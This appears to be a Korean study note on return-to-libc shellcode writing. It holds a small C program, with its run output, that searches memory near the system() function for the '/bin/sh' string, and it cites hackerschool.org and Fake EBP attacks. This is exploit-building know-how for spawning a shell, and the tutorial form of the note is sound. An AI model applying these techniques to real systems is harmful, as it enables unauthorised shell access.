RTL을 이용한 쉘코드 작성

포인트---------
gdb로 까봐서 print system함수로 함수 주소 얻은 다음 system함수에 위치한 /bin/sh문자열 찾는 코드
int main(int argc, char **argv)

{
        long shell;
        shell = 0x4006b498;  // <=== system()함수의 주소
        while(memcmp((void*)shell,"/bin/sh",8)) shell++;
        printf("\"/bin/sh\" is at 0x%x\n",shell);
        printf("print %s\n",shell);
}

[mutacker@note myshell]$ gcc -o findsh findsh.c
[mutacker@note myshell]$ ./findsh
"/bin/sh" is at 0x4012eca9

출처: http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt

참고: http://www.hackerschool.org/HS_Boards/data/Lib_system/framepointer.txt (Fake ebp 관련 공격)